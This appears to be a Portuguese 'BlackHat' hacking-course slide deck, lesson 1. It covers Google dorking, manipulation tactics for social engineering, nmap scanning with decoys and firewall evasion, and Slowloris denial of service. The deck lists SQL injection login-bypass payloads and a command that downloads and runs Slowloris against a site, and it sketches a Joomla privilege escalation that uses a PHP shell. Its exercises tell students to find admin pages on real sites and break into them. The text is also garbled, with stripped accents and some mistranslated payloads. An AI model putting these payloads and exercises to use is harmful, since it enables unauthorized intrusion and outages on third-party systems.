BlackHat Aula1

Aula 1 Treinamento: Tcnicas de Invaso - BlackHat
BlackHat
Ns fazemos o que o desenvolvedor jamais
pensou que fosse acontecer com ele
Alan Sanches
Principais Ameaas
SQLi
BlindSQL
CSS (XSS)
Directory Transversal
LFI / RFI
Privilege Escalation
Social Engineering
Remote Command Execution
Buffer Overflow
CSRF
Brute Force
Google Hacking
O Google hacking envolve o uso de operadores avanados no Google, motor de
busca, para localizar sequncias especficas de texto dentro de resultados de
pesquisa.

Alguns dos exemplos mais populares encontrar verses especficas de grupos
vulnerveis em aplicaes web. As consultas de pesquisas a seguir seriam
localizar todas as pginas que possuem um determinado texto contidas na pgina.

Atravs do Google Hacking, voc pode encontrar particularidades que talvez j
tenham at sado do ar. Obtendo um nmero razovel de informaes sobre um
determinado alvo, possvel explorar suas vulnerabilidades.
Google Hacking
Exemplos:
"site: - faz uma busca dentro de um dominio.
Ex.: "big brother site:globo.com"
Vai listar todas as paginas no dominio globo.com que contem "big brother".

"allintitle: - faz uma busca por paginas que contem palavras especificas no titulo.
Ex.: "allintitle:seja bem vindo"
Busca todas as paginas com titulo contendo as seguintes palavras "seja bem vindo".

"allinurl:" - faz uma busca por endereos de url que contem palavras especificas.
Ex.: "allinurl:contato.asp
Busca todos os sites contendo "contato.asp" na url.

inurl: Busca determinadas palavras dentro de um domnio
Ex.: senhas inurl:esecurity.com.br
Ir efetuar uma busca da palavra senha no dominio esecurity.com.br
Google Hacking
Exemplos:
filetype: - faz uma busca em determinadas extenses de arquivos.
Ex.: senhas filetype:txt"
Ir buscar todos os arquivos .txt que possui palavras senhas dentro dele.

"allinurl:" - faz uma busca por endereos de url que contem palavras especificas.
Ex.: "allinurl:contato.asp
Busca todos os sites contendo "contato.asp" na url.

inurl: Busca determinadas palavras dentro de um domnio
Ex.: senhas inurl:esecurity.com.br
Ir efetuar uma busca da palavra senha no dominio esecurity.com.br
Google Hacking
Exemplos de uso como ferramenta hacking:

"allinurl:usuarios.mdb site:.com.br"
Busca por arquivos de banco de dados nomeados "usuarios.mdb" dentro do
dominio mae ".com.br"

"allintitle:admin panel site:.org"
Busca por supostas paginas de administracao dentro do dominio ".org"

"allinurl:login.asp"
Lista todas as paginas com nome de "login.asp", e em alguns casos o google
exibira uma verso "cache" da pagina onde ser possvel ver o codigo asp.
Engenharia Social
Definindo a Engenharia Social

Humana Comportamental

Tcnica Baseada em Sistemas
Tipos de Explorao de Engenharia Social
Vaidade pessoal e/ou profissional
O ser humano costuma ser mais receptivo a avaliao positiva e favorvel aos seus
objetivos, aceitando basicamente argumentos favorveis a sua avaliao pessoal ou
profissional ligada diretamente ao benefcio prprio ou coletivo de forma demonstrativa.

Autoconfiana
O ser humano busca transmitir em dilogos individuais ou coletivos o ato de fazer
algo bem, coletivamente ou individualmente, buscando transmitir segurana,
conhecimento, saber e eficincia, buscando criar uma estrutura base para o incio
de uma comunicao ou ao favorvel a uma organizao ou individuo.
Formao profissional:
O ser humano busca valorizar sua formao e suas habilidades adquiridas nesta
faculdade, buscando o controle em uma comunicao, execuo ou apresentao
seja ela profissional ou pessoal buscando o reconhecimento pessoal
inconscientemente em primeiro plano

Vontade de ser til:
O ser humano, comumente, procura agir com cortesia, bem como ajudar outros
quando necessrio
Propagao de responsabilidade:
Trata-se da situao na qual o ser humano considera que ele no o nico
responsvel por um conjunto de atividades

Persuaso :
Compreende quase uma arte a capacidade de persuadir pessoas, onde se busca
obter respostas especficas. Isto possvel porque as pessoas possuem caractersticas
comportamentais que as tornam vulnerveis a manipulao.

Busca por novas amizades:
O ser humano costuma se agradar e sentir-se bem quando elogiado, ficando mais
vulnervel e aberto a dar informaes
Telefone

Pessoal

Presencial

Chat/Redes Sociais
E-mails falsos

Links com Backdoors

E-mails enviados em nome de outras pessoas

Keyloggers

Backdoors

Sites Fakes
O atacante no inicia o ataque

Exemplos:

Classificados Falsos

Anuncio Falso de Emprego

Msica de espera falsa
Sql Injectioon Bsico
Tambm considerado SQL Injection o fato de enganar
o form com uma falha de programao.
var query = "SELECT * FROM usuarios WHERE login = '" + login +"' AND senha = '" + senha + "'" ;
SELECT * FROM usuarios WHERE login = ' ' ' AND password = '[password]' ;
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]
Unclosed quotation mark before the character string and senha=.
' or 1=1 --
SELECT * FROM usuarios WHERE login = ' ' or 1=1- - ' AND senha = '[senha]';
SQL Injection Bsico - Exemplos
allinurl:/webadmin/default.asp
allinurl:/menu_admin/default.asp
allinurl:/menu_admin/index.asp
allinurl:/menu_admin/login.asp
allinurl:/noticias/admin/
allinurl:/news/admin/
allinurl:/cadastro/admin/
allinurl:/portal/admin/
allinurl:/site/admin/
allinurl:/home/admin.asp
allinurl:/home/admin/index.asp
allinurl:/home/admin/default.asp
allinurl:/home/admin/login.asp
allinurl:/web/admin/index.asp
SQL Injection Bsico - Exemplos
b or 1=
or 1
or |
or a='a
or =
or 1=1
) or (a='a
or 1=1
admin -
ou 0=0
ou 0=0
ou 0=0
ou 0=0 #
ou 0=0 #
ou 0=0 #
ou x='x
ou x=x
) ou ( x='x
ou 1=1
ou 1=1
ou 1=1
ou a=a
ou a=a
) ou ( a='a
) ou (a=a
hi ou a=a
hi ou 1=1
hi ou 1=1
hi ou a='a
hi ) ou ( a='a
hi) ou (a=a
or x='x
SQL Injection Bsico
Exerccio
Localize pginas de administrao utilizando as tcnicas do Google Dorks
e invada-os utilizando SQL Injection Bsico
Nmap Fazendo Varreduras
Nmap + Opo + IP(Range)
-sP
Ping scan: Algumas vezes necessrio saber se um determinado host ou rede est no ar.
Nmap pode enviar pacotes ICMP echo request para verificar se determinado host ou rede est ativa.
Hoje em dia, existem muitos filtros que rejeitam os pacotes ICMP echo request, ento envia um pacote
TCP ACK para a porta 80 (default) e caso receba RST o alvo est ativo. A terceira tcnica envia um
pacote SYN e espera um RST ou SYN-ACK.
Nmap sP 192.168.1.254
Nmap sP 192.168.1.0/24

-sR
RCP scan: Este mtodo trabalha em conjunto com vrias tcnicas do Nmap. Ele considera todas as
portas TCP e UDP abertas e envia comandos NULL SunRPC,para determinar se realmente so portas
RPC. como se o comando rpcinfo -pestivesse sendo utilizado, mesmo atravs de um firewall ( ou
protegido por TCPwrappers ).
Nmap sR 192.168.1.254
Nmap sR 192.168.1.0/24

-sS
TCP SYN scan: Tcnica tambm conhecida como half-open, pois no abre uma conexo TCP
completa. enviado um pacote SYN, como se ele fosse uma conexo real e aguarda uma
resposta. Caso um pacote SYN-ACK seja recebido, aporta est aberta, enquanto um como
resposta indica que a porta est fechada. A vantagem dessa abordagem que poucos iro
detectar esse scanning de portas.
Nmap sS 192.168.1.254
Nmap sS 192.168.1.0/24
-sT
TCP connect() scan: a tcnica mais bsica de TCP scanning. utilizada achamada de sistema
(system call) connect() que envia um sinal as portas ativas. Caso a porta esteja aberta recebe
como resposta connect(). um dos scan maisrpidos, porm fcil de ser detectado
Nmap sT 192.168.1.254
Nmap sT 192.168.1.0/24

-sU
UDP scan: Este mtodo utilizado para determinar qual porta UDP est aberta em um host. A
tcnica consiste em enviar um pacote UDP de 0 byte para cada portado host. Se for recebido
uma mensagem ICMP port unreachable ento a porta est fechada, seno a porta pode estar
aberta. Para variar um pouco, a Microsoft ignorou a sugesto da RFC e com isso a varredura de
mquinas Windows muito rpida.
Nmap sU 192.168.1.254

-sV
Version detection: Aps as portas TCP e/ou UDP serem descobertas por algum dos mtodos, o
nmap ir determinar qual o servio est rodando atualmente. O arquivo nmap-service-probes
utilizado para determinar tipos de protocolos, nome da aplicao, nmero da verso e outros
detalhes
Nmap sV 192.168.1.254
-D
<decoy1 [,decoy2][,VOCE],...>Durante uma varredura, utiliza uma srie de endereos falsificados,
simulando que o scanning tenha originado desses vrios hosts, sendo praticamente impossvel
identificar a verdadeira origem da varredura.
Ex.: nmap -D IP1,IP2,IP3,IP4,IP6,SEU_IP alvo
nmap -D 192.168.1.90,192.168.1.80,192.168.1.103 192.168.1.102

-F
Procura pelas portas que esto no /etc/services. Mtodo mais rpido, porm noprocurar por todas
as portas.
Ex.: nmap -F alvo

-I
Se o host estiver utilizando o ident, possvel identificar o dono dos servios que esto sendo
executados no servidor (trabalha com a opo -sT)
Ex.: nmap -sT -I alvo

-O
Ativa a identificao do host remoto via TCP/IP. Ir apresentar verso do Sistema Operacional e
tempo ativo.
Ex.: nmap -O alvo
-p <lista_de_portas>
Especifica quais portas devem ser verificadas na varredura. Por default, todas as portas entre 1 e 1024
so varridas.
Ex.: nmap -p 22,80 alvo ou nmap -p U:53,111,137,T:21-25,80,139,8080

-P0
No tenta pingar o host antes de iniciar a varredura. Isto permite varrer alvos que bloqueiam ICMP echo
request (ou responses) atravs de firewall.
Ex.: nmap -P0 alvo

-PS [lista_de_portas]
Usa pacotes SYN para determinar se o host est ativo.
Ex.: nmap -PS80 alvo

-PT[lista_de_portas]
Usa TCP ping para determinar se o host est ativo.
Ex.: nmap -PT80 alvo

-R
Ir resolver nome de hosts a ser varrido.
Ex.: nmap -R alvo

-r
A varredura ser feita nas portas randomicamente, no seguinte a ordem crescente.
Ex.: nmap -r alvo
-ttl<valor>
Altera o valor do TTL (Time to Live), dessa forma dificulta a origem do pacote.
Ex.: nmap -ttl 55 alvo

-v
Modo verbose. Mostra tudo o que est se passando.
Ex.: nmap -v alvo
Boa forma de Scan
Varrer o Alvo utilizando a porta de Origem 53 para tentar enganar o Firewall achando que uma consulta
DNS
-g53 p80

-g a porta de Origem
- p a porta de destino
Outras opes interessantes:
-p0-65535 (Varre todas as portas TCP existentes)
-sU (Portas UDP)
-sS (Syn Scan) Apenas Syn
Localize pginas que possuem o apache na verso 2.2.20 para baixo
Exerccio
DoS Denied of Service
Um ataque de negao de servio (tambm conhecido como DoS Attack, um
acrnimo em ingls para Denial of Service), uma tentativa em tornar os recursos
de um sistema indisponveis para seus utilizadores.

Alvos tpicos so servidores web, e o ataque tenta tornar as pginas hospedadas
indisponveis na WWW. No se trata de uma invaso do sistema, mas sim da sua
invalidao por sobrecarga. Os ataques de negao de servio so feitos
geralmente de duas formas:

Forar o sistema vtima a reinicializar ou consumir todos os recursos (como
memria ou processamento por exemplo) de forma que ele no pode mais fornecer
seu servio.

Obstruir a mdia de comunicao entre os utilizadores e o sistema vtima de forma a
no comunicarem-se adequadamente.
DoS Denied of Service
DoS x DDoS - Diferenas
Qual a diferena entre DOS e DDOS?
DoS Denial of Service DDoS Distributed Denial of Service
DoS - Slowloris
Ele funciona enviando, atraves de um processo multi-thread, varias requisies
parciais ao servidor Web alvo, que na verdade, nunca so completadas.
Servidores como o apache, mantem por um determinado tempo as conexoes tcp,
ento o que acontece o seguinte:
Ele manda inmeras dessas requisies maliciosas, no as completando, espera
um pouco mais e vai mandando mais varias levas de novas requisies dessas, e
por ai vai.
Esse processo fica se repetindo at que voc pea para ele parar, e o resultado?
Voc acaba atingindo o numero mximo de requisies que o servidor Web
suporta e a performance se torna altamente degradada, pois voc segura grande
parte dessas conexes consigo mesmo (pra no dizer todas).
Os demais visitantes vo ficar esperando, esperando, esperando e nada!
Vulnerveis: Apaches que possuem as verses 2.2.19 ou inferior
Tcnica: Utiliza a camada 7, aplicao do modelo OSI
DoS - Slowloris
Instalar o Slowloris

# wget http://ha.ckers.org/slowloris/slowloris.pl
# chmod 777 slowloris.pl
# ./slowloris dns www.site.com

Encontrar uma vtima usando o Nmap

Exerccio
Escalao de Privilgios
A conhecida falha no Joomla
O que devemos anotar

1. index.php?option=com_users&view=registration

2. <input name="jform[groups][]" value="7" />

3. http://10minutemail.net/pt-br/

Material necessrio

1. Firefox
2. FireBug
3. Um mdulo para Joomla
4. Uma Shell em PHP

E-mail: [email protected]

Twitter: @esecuritybr e @desafiohacker

Skype: desafiohacker

Fanpage: www.facebook.com/academiahacker
printf ("\Chega por hoje\n");

BlackHat Aula1

Enviado por

Direitos autorais:

Formatos disponíveis

BlackHat Aula1

Enviado por

Dados do documento

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

BlackHat Aula1

Enviado por

Direitos autorais:

Formatos disponíveis

Aula 1 Treinamento: Tcnicas de Invaso - BlackHat

Você também pode gostar